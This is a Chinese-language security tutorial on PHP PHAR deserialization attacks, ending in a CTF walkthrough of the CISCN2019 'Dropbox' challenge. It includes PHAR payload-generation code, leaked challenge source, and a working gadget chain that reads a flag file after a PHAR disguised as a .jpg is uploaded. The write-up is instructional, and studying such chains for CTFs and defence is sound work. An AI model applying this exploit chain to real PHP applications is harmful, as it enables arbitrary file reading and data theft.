利用PHAR協議進行PHP反序列化攻擊
PHAR (“Php ARchive”) 是PHP中的打包檔案,相當於Java中的JAR檔案,在php5.3或者更高的版本中預設開啟。PHAR檔案預設狀態是隻讀的,當我們要建立一個Phar檔案需要修改php.ini中的phar.readonly,修改為:phar.readonly = 0
當透過phar://協議對phar檔案進行檔案操作時,將會對phar檔案中的Meta-data進行反序列化操作,可能造成一些反序列化漏洞。
本文由錦行科技的安全研究團隊提供,從攻擊者的角度展示了PHAR反序列化攻擊的原理和過程。
1、PHAR檔案結構
stub phar:檔案標識,格式為xxx<?php xxx;__HALT_COMPILER();?>,該部分必須以 __HALT_COMPILER();?> 進行結尾,否則將無法識別,前面的內容無限制要求。
manifest:壓縮檔案的屬性等資訊,其中的Meta-data會以序列化的形式儲存。
contents:壓縮檔案的內容
signature:簽名,放在檔案末尾
2、生成PHAR檔案
生成程式如下:
<?php
Class Test{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>"); //設定Stub
$o = new Test();
$o -> data='test';
$phar -> setMetadata($o); //設定Meta-data
$phar -> addFromString("test.txt", "test"); //新增要壓縮的檔案
//簽名自動計算
$phar -> stopBuffering();
?>
生成phar檔案,使用16進位制工具檢視,可以看到Meta-data中的序列化物件
3、測試反序列化
測試程式如下:
<?php
class Test{
function __destruct(){
echo $this -> data; //物件銷燬時執行
}
}
include('phar://phar.phar');
?>
執行結果,可以看到列印了‘test’,證明物件被反序列化建立後銷燬。
雖然在建立PHAR檔案時字尾是固定的,但完成建立後我們是可以修改phar的字尾名的,例如修改成.jpg,當執行include('phar://phar.jpg');時也可觸發反序列化。
幾乎所有檔案操作函式都可觸發phar反序列化
4、CTF演示
題目地址:[CISCN2019 華北賽區 Day1 Web1]Dropbox(連結:https://buuoj.cn/challenges#%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox)
進入題目後,隨意註冊賬號上傳檔案,上傳點只能上傳圖片字尾
點選下載,有任意檔案讀取,但是不能讀取flag.txt
於是讀取網頁原始碼,傳入filename=../../xxx.php
detele.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭澆</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
分析原始碼
可以看到刪除檔案時使用了File類的delete函式,File類的delete使用了unlink函式,可以觸發phar反序列化。
繼續看到class.php的File類的close()函式中呼叫了file_get_contents函式,可以讀取檔案。但是要怎麼觸發呢,我們可以看到FileList的__call函式,如果我們可以讓FileList引數files為陣列且陣列中一個類為File,只要有類可以執行$FileList->close(),就可以讀取檔案並在FileList的解構函式中顯示出來了。我們看到User類的解構函式,執行了$db->close()。so,我們讓User的$db引數等於FileList就行了。
利用鏈:User類的$db賦值為FileList類,User類的解構函式執行close方法->觸發FileList的__call函式,讓$file值為File,執行$file的close函式->File執行close讀取檔案,控制$filename為想讀取的檔案->FileList物件銷燬,執行解構函式,回顯結果。
生成phar檔案程式碼:
<?php
class User{
public $db;
}
class File{
public $filename;
public function __construct($filename){
$this->filename = $filename;
}
}
class FileList{
private $files;
public function __construct(){
$this->files=array(new File('/flag.txt'));
}
}
$user = new User();
$user->db = new FileList();
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($user);
$phar->addFromString("test.txt", "test");
$phar -> stopBuffering();
?>
生成phar檔案,修改字尾為jpg,上傳
刪除檔案處修改filename為‘phar://phar.jpg’,讀取到flag檔案
相關文章
- 利用JSONP進行水坑攻擊2020-08-19JSON
- PHP phar:協議物件注入技術介紹2018-08-31PHP協議物件
- 怎麼解決網站被DDOS攻擊 利用7層協議進行防禦2020-02-14網站協議
- TCP/IP協議的SYN攻擊2020-10-25TCP協議
- ARP協議介紹與ARP協議的攻擊手法2024-07-11協議
- 網路層協議及ARP攻擊2021-05-19協議
- Vice Society 勒索軟體正在利用PrintNightmare漏洞進行攻擊2021-08-16
- 協議層的攻擊:HTTP請求走私2019-10-11協議HTTP
- 利用虛假簡歷進行攻擊,疑似MuddyWater再次活躍2019-09-17
- 利用SSRF漏洞內網探測來攻擊Redis(通過curl命令 & gopher協議)2020-09-25內網RedisGo協議
- XSSI攻擊利用2020-08-19
- 常見RDP協議攻擊方法 防禦措施2024-06-22協議
- 解密協議層的攻擊——HTTP請求走私2021-02-19解密協議HTTP
- DDoS攻擊是什麼?是如何進行攻擊的?2022-09-23
- phar反序列化例題2024-06-01
- phar反序列化學習2022-09-22
- PHP現反序列化漏洞 或使WordPress遭遠端攻擊2018-08-22PHP
- 從TCP協議的原理論rst復位攻擊2020-11-22TCP協議
- phar反序列化例題二2024-08-09
- 利用ELK協助安全性攻擊的資料分析2018-07-24
- 利用 NetBIOS 協議名稱解析及 WPAD 進行內網滲透2020-08-19iOS協議內網
- 黑客是如何利用DNS域傳送漏洞進行滲透與攻擊的?2021-11-06黑客DNS
- 百足之蟲:GlobeImposter勒索病毒新手法,利用MSSQL爆破進行攻擊2020-12-17SQL
- SSL/TLS協議安全系列:SSL的Padding Oracle攻擊2020-08-19TLS協議paddingOracle
- TLS 1.2 協議現漏洞 ,POODLE攻擊捲土重來2019-02-14TLS協議
- Proto3序列化協議2020-10-15協議
- Dubbo 支援哪些序列化協議?2019-04-22協議
- 通過ICMP協議反彈SHELL並執行命令2018-05-23協議
- 利用Burp Suite攻擊Web應用2018-06-27UIWeb
- 一種利用EXCEL的BazarLoader攻擊2021-12-03Excel
- 如何利用CDN防護CC攻擊2023-04-04
- 報告發布|觀察:攻擊者蹭疫情熱點進行惡意攻擊2021-01-08
- 如何知道是否有人正在進行網路攻擊2022-09-08
- 如何利用 github 進行多人協作開發2021-04-04Github
- 在PHP中全面阻撓SQL隱碼攻擊式進犯2019-02-16PHPSQL
- BTG(bitcoin gold)受到51%攻擊,攻擊者利用雙重支付獲利2018-07-11Go
- 黑客利用Excel文件來執行ChainShot惡意軟體攻擊2018-09-12黑客ExcelAI
- 將 PHP 應用快速打包為 PHAR2019-01-15PHP